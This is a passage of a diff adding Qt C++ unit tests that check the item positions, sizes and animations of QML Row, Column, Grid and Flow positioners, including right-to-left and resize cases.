+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ //Note that they animate in
+ QCOMPARE(one->x(), -100.0);
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(three->x(), -100.0);
+
+ QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+ QVERIFY(row);
+ QCOMPARE(row->width(), 100.0);
+ QCOMPARE(row->height(), 50.0);
+
+ //QTRY_COMPARE used instead of waiting for the expected time of animation completion
+ //Note that this means the duration of the animation is NOT tested
+
+ QTRY_COMPARE(one->x(), 50.0);
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(two->opacity(), 0.0);
+ QTRY_COMPARE(two->x(), -100.0);//Not 'in' yet
+ QTRY_COMPARE(two->y(), 0.0);
+ QTRY_COMPARE(three->x(), 0.0);
+ QTRY_COMPARE(three->y(), 0.0);
+
+ //Add 'two'
+ two->setOpacity(1.0);
+ QCOMPARE(two->opacity(), 1.0);
+
+ // New size should be immediate
+ QCOMPARE(row->width(), 150.0);
+ QCOMPARE(row->height(), 50.0);
+
+ QTest::qWait(0);//Let the animation start
+ QCOMPARE(one->x(), 50.0);
+ QCOMPARE(two->x(), -100.0);
+
+ QTRY_COMPARE(one->x(), 100.0);
+ QTRY_COMPARE(two->x(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_vertical()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/vertical.qml");
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 0.0);
+ QCOMPARE(two->y(), 50.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 60.0);
+
+ QDeclarativeItem *column = canvas->rootObject()->findChild<QDeclarativeItem*>("column");
+ QVERIFY(column);
+ QCOMPARE(column->height(), 80.0);
+ QCOMPARE(column->width(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_vertical_spacing()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/vertical-spacing.qml");
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 0.0);
+ QCOMPARE(two->y(), 60.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 80.0);
+
+ QDeclarativeItem *column = canvas->rootObject()->findChild<QDeclarativeItem*>("column");
+ QCOMPARE(column->height(), 100.0);
+ QCOMPARE(column->width(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_vertical_animated()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/vertical-animated.qml");
+
+ //Note that they animate in
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QCOMPARE(one->y(), -100.0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QCOMPARE(two->y(), -100.0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QCOMPARE(three->y(), -100.0);
+
+ QDeclarativeItem *column = canvas->rootObject()->findChild<QDeclarativeItem*>("column");
+ QVERIFY(column);
+ QCOMPARE(column->height(), 100.0);
+ QCOMPARE(column->width(), 50.0);
+
+ //QTRY_COMPARE used instead of waiting for the expected time of animation completion
+ //Note that this means the duration of the animation is NOT tested
+
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(one->x(), 0.0);
+ QTRY_COMPARE(two->opacity(), 0.0);
+ QTRY_COMPARE(two->y(), -100.0);//Not 'in' yet
+ QTRY_COMPARE(two->x(), 0.0);
+ QTRY_COMPARE(three->y(), 50.0);
+ QTRY_COMPARE(three->x(), 0.0);
+
+ //Add 'two'
+ two->setOpacity(1.0);
+ QTRY_COMPARE(two->opacity(), 1.0);
+ QCOMPARE(column->height(), 150.0);
+ QCOMPARE(column->width(), 50.0);
+ QTest::qWait(0);//Let the animation start
+ QCOMPARE(two->y(), -100.0);
+ QCOMPARE(three->y(), 50.0);
+
+ QTRY_COMPARE(two->y(), 50.0);
+ QTRY_COMPARE(three->y(), 100.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_grid()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/gridtest.qml");
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 70.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 0.0);
+ QCOMPARE(four->y(), 50.0);
+ QCOMPARE(five->x(), 50.0);
+ QCOMPARE(five->y(), 50.0);
+
+ QDeclarativeGrid *grid = canvas->rootObject()->findChild<QDeclarativeGrid*>("grid");
+ QCOMPARE(grid->flow(), QDeclarativeGrid::LeftToRight);
+ QCOMPARE(grid->width(), 100.0);
+ QCOMPARE(grid->height(), 100.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_grid_topToBottom()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/grid-toptobottom.qml");
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 0.0);
+ QCOMPARE(two->y(), 50.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 100.0);
+ QCOMPARE(four->x(), 50.0);
+ QCOMPARE(four->y(), 0.0);
+ QCOMPARE(five->x(), 50.0);
+ QCOMPARE(five->y(), 50.0);
+
+ QDeclarativeGrid *grid = canvas->rootObject()->findChild<QDeclarativeGrid*>("grid");
+ QCOMPARE(grid->flow(), QDeclarativeGrid::TopToBottom);
+ QCOMPARE(grid->width(), 100.0);
+ QCOMPARE(grid->height(), 120.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_grid_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/gridtest.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 50.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 30.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 50.0);
+ QCOMPARE(four->y(), 50.0);
+ QCOMPARE(five->x(), 40.0);
+ QCOMPARE(five->y(), 50.0);
+
+ QDeclarativeGrid *grid = canvas->rootObject()->findChild<QDeclarativeGrid*>("grid");
+ QCOMPARE(grid->layoutDirection(), Qt::RightToLeft);
+ QCOMPARE(grid->width(), 100.0);
+ QCOMPARE(grid->height(), 100.0);
+
+ // Change the width of the grid and check that items stay to the right
+ grid->setWidth(200);
+ QCOMPARE(one->x(), 150.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 130.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 100.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 150.0);
+ QCOMPARE(four->y(), 50.0);
+ QCOMPARE(five->x(), 140.0);
+ QCOMPARE(five->y(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_grid_spacing()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/grid-spacing.qml");
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 54.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 78.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 0.0);
+ QCOMPARE(four->y(), 54.0);
+ QCOMPARE(five->x(), 54.0);
+ QCOMPARE(five->y(), 54.0);
+
+ QDeclarativeItem *grid = canvas->rootObject()->findChild<QDeclarativeItem*>("grid");
+ QCOMPARE(grid->width(), 128.0);
+ QCOMPARE(grid->height(), 104.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_grid_animated()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
+ //Note that all animate in
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QCOMPARE(one->x(), -100.0);
+ QCOMPARE(one->y(), -100.0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(two->y(), -100.0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QCOMPARE(three->x(), -100.0);
+ QCOMPARE(three->y(), -100.0);
+
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QCOMPARE(four->x(), -100.0);
+ QCOMPARE(four->y(), -100.0);
+
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+ QCOMPARE(five->x(), -100.0);
+ QCOMPARE(five->y(), -100.0);
+
+ QDeclarativeItem *grid = canvas->rootObject()->findChild<QDeclarativeItem*>("grid");
+ QVERIFY(grid);
+ QCOMPARE(grid->width(), 150.0);
+ QCOMPARE(grid->height(), 100.0);
+
+ //QTRY_COMPARE used instead of waiting for the expected time of animation completion
+ //Note that this means the duration of the animation is NOT tested
+
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(one->x(), 0.0);
+ QTRY_COMPARE(two->opacity(), 0.0);
+ QTRY_COMPARE(two->y(), -100.0);
+ QTRY_COMPARE(two->x(), -100.0);
+ QTRY_COMPARE(three->y(), 0.0);
+ QTRY_COMPARE(three->x(), 50.0);
+ QTRY_COMPARE(four->y(), 0.0);
+ QTRY_COMPARE(four->x(), 100.0);
+ QTRY_COMPARE(five->y(), 50.0);
+ QTRY_COMPARE(five->x(), 0.0);
+
+ //Add 'two'
+ two->setOpacity(1.0);
+ QCOMPARE(two->opacity(), 1.0);
+ QCOMPARE(grid->width(), 150.0);
+ QCOMPARE(grid->height(), 100.0);
+ QTest::qWait(0);//Let the animation start
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(two->y(), -100.0);
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(three->x(), 50.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 100.0);
+ QCOMPARE(four->y(), 0.0);
+ QCOMPARE(five->x(), 0.0);
+ QCOMPARE(five->y(), 50.0);
+ //Let the animation complete
+ QTRY_COMPARE(two->x(), 50.0);
+ QTRY_COMPARE(two->y(), 0.0);
+ QTRY_COMPARE(one->x(), 0.0);
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(three->x(), 100.0);
+ QTRY_COMPARE(three->y(), 0.0);
+ QTRY_COMPARE(four->x(), 0.0);
+ QTRY_COMPARE(four->y(), 50.0);
+ QTRY_COMPARE(five->x(), 50.0);
+ QTRY_COMPARE(five->y(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_grid_animated_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ //Note that all animate in
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QCOMPARE(one->x(), -100.0);
+ QCOMPARE(one->y(), -100.0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(two->y(), -100.0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QCOMPARE(three->x(), -100.0);
+ QCOMPARE(three->y(), -100.0);
+
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QCOMPARE(four->x(), -100.0);
+ QCOMPARE(four->y(), -100.0);
+
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+ QCOMPARE(five->x(), -100.0);
+ QCOMPARE(five->y(), -100.0);
+
+ QDeclarativeItem *grid = canvas->rootObject()->findChild<QDeclarativeItem*>("grid");
+ QVERIFY(grid);
+ QCOMPARE(grid->width(), 150.0);
+ QCOMPARE(grid->height(), 100.0);
+
+ //QTRY_COMPARE used instead of waiting for the expected time of animation completion
+ //Note that this means the duration of the animation is NOT tested
+
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(one->x(), 100.0);
+ QTRY_COMPARE(two->opacity(), 0.0);
+ QTRY_COMPARE(two->y(), -100.0);
+ QTRY_COMPARE(two->x(), -100.0);
+ QTRY_COMPARE(three->y(), 0.0);
+ QTRY_COMPARE(three->x(), 50.0);
+ QTRY_COMPARE(four->y(), 0.0);
+ QTRY_COMPARE(four->x(), 0.0);
+ QTRY_COMPARE(five->y(), 50.0);
+ QTRY_COMPARE(five->x(), 100.0);
+
+ //Add 'two'
+ two->setOpacity(1.0);
+ QCOMPARE(two->opacity(), 1.0);
+ QCOMPARE(grid->width(), 150.0);
+ QCOMPARE(grid->height(), 100.0);
+ QTest::qWait(0);//Let the animation start
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(two->y(), -100.0);
+ QCOMPARE(one->x(), 100.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(three->x(), 50.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 0.0);
+ QCOMPARE(four->y(), 0.0);
+ QCOMPARE(five->x(), 100.0);
+ QCOMPARE(five->y(), 50.0);
+ //Let the animation complete
+ QTRY_COMPARE(two->x(), 50.0);
+ QTRY_COMPARE(two->y(), 0.0);
+ QTRY_COMPARE(one->x(), 100.0);
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(three->x(), 0.0);
+ QTRY_COMPARE(three->y(), 0.0);
+ QTRY_COMPARE(four->x(), 100.0);
+ QTRY_COMPARE(four->y(), 50.0);
+ QTRY_COMPARE(five->x(), 50.0);
+ QTRY_COMPARE(five->y(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_grid_zero_columns()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/gridzerocolumns.qml");
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 70.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 120.0);
+ QCOMPARE(four->y(), 0.0);
+ QCOMPARE(five->x(), 0.0);
+ QCOMPARE(five->y(), 50.0);
+
+ QDeclarativeItem *grid = canvas->rootObject()->findChild<QDeclarativeItem*>("grid");
+ QCOMPARE(grid->width(), 170.0);
+ QCOMPARE(grid->height(), 60.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_propertychanges()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/propertychangestest.qml");
+
+ QDeclarativeGrid *grid = qobject_cast<QDeclarativeGrid*>(canvas->rootObject());
+ QVERIFY(grid != 0);
+ QDeclarativeTransition *rowTransition = canvas->rootObject()->findChild<QDeclarativeTransition*>("rowTransition");
+ QDeclarativeTransition *columnTransition = canvas->rootObject()->findChild<QDeclarativeTransition*>("columnTransition");
+
+ QSignalSpy addSpy(grid, SIGNAL(addChanged()));
+ QSignalSpy moveSpy(grid, SIGNAL(moveChanged()));
+ QSignalSpy columnsSpy(grid, SIGNAL(columnsChanged()));
+ QSignalSpy rowsSpy(grid, SIGNAL(rowsChanged()));
+
+ QVERIFY(grid);
+ QVERIFY(rowTransition);
+ QVERIFY(columnTransition);
+ QCOMPARE(grid->add(), columnTransition);
+ QCOMPARE(grid->move(), columnTransition);
+ QCOMPARE(grid->columns(), 4);
+ QCOMPARE(grid->rows(), -1);
+
+ grid->setAdd(rowTransition);
+ grid->setMove(rowTransition);
+ QCOMPARE(grid->add(), rowTransition);
+ QCOMPARE(grid->move(), rowTransition);
+ QCOMPARE(addSpy.count(),1);
+ QCOMPARE(moveSpy.count(),1);
+
+ grid->setAdd(rowTransition);
+ grid->setMove(rowTransition);
+ QCOMPARE(addSpy.count(),1);
+ QCOMPARE(moveSpy.count(),1);
+
+ grid->setAdd(0);
+ grid->setMove(0);
+ QCOMPARE(addSpy.count(),2);
+ QCOMPARE(moveSpy.count(),2);
+
+ grid->setColumns(-1);
+ grid->setRows(3);
+ QCOMPARE(grid->columns(), -1);
+ QCOMPARE(grid->rows(), 3);
+ QCOMPARE(columnsSpy.count(),1);
+ QCOMPARE(rowsSpy.count(),1);
+
+ grid->setColumns(-1);
+ grid->setRows(3);
+ QCOMPARE(columnsSpy.count(),1);
+ QCOMPARE(rowsSpy.count(),1);
+
+ grid->setColumns(2);
+ grid->setRows(2);
+ QCOMPARE(columnsSpy.count(),2);
+ QCOMPARE(rowsSpy.count(),2);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_repeater()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/repeatertest.qml");
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 100.0);
+ QCOMPARE(three->y(), 0.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_flow()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 50.0);
+ QCOMPARE(four->x(), 0.0);
+ QCOMPARE(four->y(), 70.0);
+ QCOMPARE(five->x(), 50.0);
+ QCOMPARE(five->y(), 70.0);
+
+ QDeclarativeItem *flow = canvas->rootObject()->findChild<QDeclarativeItem*>("flow");
+ QVERIFY(flow);
+ QCOMPARE(flow->width(), 90.0);
+ QCOMPARE(flow->height(), 120.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_flow_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 40.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 20.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 40.0);
+ QCOMPARE(three->y(), 50.0);
+ QCOMPARE(four->x(), 40.0);
+ QCOMPARE(four->y(), 70.0);
+ QCOMPARE(five->x(), 30.0);
+ QCOMPARE(five->y(), 70.0);
+
+ QDeclarativeItem *flow = canvas->rootObject()->findChild<QDeclarativeItem*>("flow");
+ QVERIFY(flow);
+ QCOMPARE(flow->width(), 90.0);
+ QCOMPARE(flow->height(), 120.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_flow_topToBottom()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest-toptobottom.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 50.0);
+ QCOMPARE(three->y(), 50.0);
+ QCOMPARE(four->x(), 100.0);
+ QCOMPARE(four->y(), 00.0);
+ QCOMPARE(five->x(), 100.0);
+ QCOMPARE(five->y(), 50.0);
+
+ QDeclarativeItem *flow = canvas->rootObject()->findChild<QDeclarativeItem*>("flow");
+ QVERIFY(flow);
+ QCOMPARE(flow->height(), 90.0);
+ QCOMPARE(flow->width(), 150.0);
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QVERIFY(flow);
+ QCOMPARE(flow->height(), 90.0);
+ QCOMPARE(flow->width(), 150.0);
+
+ QCOMPARE(one->x(), 100.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 80.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 50.0);
+ QCOMPARE(three->y(), 50.0);
+ QCOMPARE(four->x(), 0.0);
+ QCOMPARE(four->y(), 0.0);
+ QCOMPARE(five->x(), 40.0);
+ QCOMPARE(five->y(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_flow_resize()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
+
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(root);
+ root->setWidth(125);
+ root->setProperty("testRightToLeft", false);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 70.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 0.0);
+ QCOMPARE(four->y(), 50.0);
+ QCOMPARE(five->x(), 50.0);
+ QCOMPARE(five->y(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_flow_resize_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml");
+
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(root);
+ root->setWidth(125);
+ root->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+ QDeclarativeRectangle *four = canvas->rootObject()->findChild<QDeclarativeRectangle*>("four");
+ QVERIFY(four != 0);
+ QDeclarativeRectangle *five = canvas->rootObject()->findChild<QDeclarativeRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 75.0);
+ QCOMPARE(one->y(), 0.0);
